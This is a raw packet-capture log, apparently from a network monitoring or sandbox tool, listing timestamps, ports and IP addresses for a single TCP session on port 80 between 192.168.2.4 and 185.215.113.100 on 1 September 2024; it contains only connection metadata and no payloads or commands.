Sep 1, 2024 05:09:25.116107941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116137028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116169930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116224051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116234064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116245031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116267920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116287947 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116364956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116374969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116384029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116391897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116400957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116409063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116411924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116419077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116429090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116434097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116436958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116446018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116453886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116465092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116466045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116497040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116502047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116502047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116507053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116523981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116533041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116542101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116552114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116561890 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116578102 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116589069 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116715908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116725922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116734028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116743088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116751909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116759062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116760969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116770029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116777897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116780043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116789103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116797924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116806030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116806984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116821051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116833925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.200637102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200645924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200654984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200709105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.200787067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200795889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200805902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200814009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200822115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200833082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.200865030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.200948000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200958014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.200965881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201006889 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201231956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201242924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201256037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201267958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201281071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201303005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201375008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201384068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201392889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201401949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201410055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201411963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201416969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201450109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201476097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201555014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201565027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201574087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201581001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201590061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201598883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201621056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201630116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201692104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201776981 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201853991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201864958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201874018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201883078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201891899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201900959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.201914072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.201937914 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202008963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202019930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202028036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202038050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202048063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202055931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202070951 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202089071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202166080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202174902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202183962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202198982 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202207088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202225924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202234983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202307940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202316999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202342033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202436924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202471018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202481031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202495098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202505112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202512980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202522039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202527046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202554941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202646971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202656984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202667952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202713013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202805042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202815056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202824116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202831984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202841043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202857971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202892065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.202951908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202960968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202972889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202981949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202991962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.202996016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203001022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203003883 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203011036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203037977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203062057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203085899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203095913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203258038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203273058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203296900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203330994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203461885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203478098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203486919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203495979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203505039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203515053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203516960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203524113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203532934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203542948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203543901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203552008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203562021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203566074 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203571081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203584909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203603983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203634024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203779936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203788996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203819036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203850985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.203974009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203984022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.203993082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204001904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204010010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204016924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204020023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204029083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204051018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204063892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204119921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204129934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204174042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204257965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204268932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204277992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204287052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204294920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204298973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204305887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204313993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204349995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204452038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204463959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204472065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204485893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204497099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204498053 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204507113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204516888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204545021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204574108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204729080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204739094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204746962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204756975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204766035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204775095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204775095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204782009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204794884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204802036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204803944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204813004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204822063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204822063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204832077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204839945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204849005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.204849958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.204879999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289316893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289325953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289335966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289391041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289432049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289459944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289478064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289488077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289500952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289513111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289515018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289541960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289551973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289619923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289630890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289661884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289815903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289827108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289835930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289846897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289877892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289901018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.289971113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289982080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.289993048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290002108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290015936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290043116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290152073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290163040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290172100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290182114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290191889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290193081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290203094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290206909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290230036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290256977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290309906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290323973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290333033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290344000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290353060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290361881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290381908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290390968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290457964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290597916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290615082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290625095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290635109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290643930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290653944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290663004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290663958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290673018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290683031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290699959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290719986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290777922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290788889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290829897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290942907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290954113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290962934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290971994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.290982962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.290983915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291023016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291099072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291110039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291119099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291132927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291143894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291150093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291166067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291193962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291254997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291265011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291275024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291292906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291321993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291407108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291418076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291429043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291470051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291572094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291582108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291590929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291600943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291613102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291621923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291630030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291656017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291719913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291732073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291740894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291750908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291759968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291759968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291770935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291779995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291780949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291798115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291800976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.291806936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.291817904 CEST	80	49742	185.215.113.100	192.168.2.4
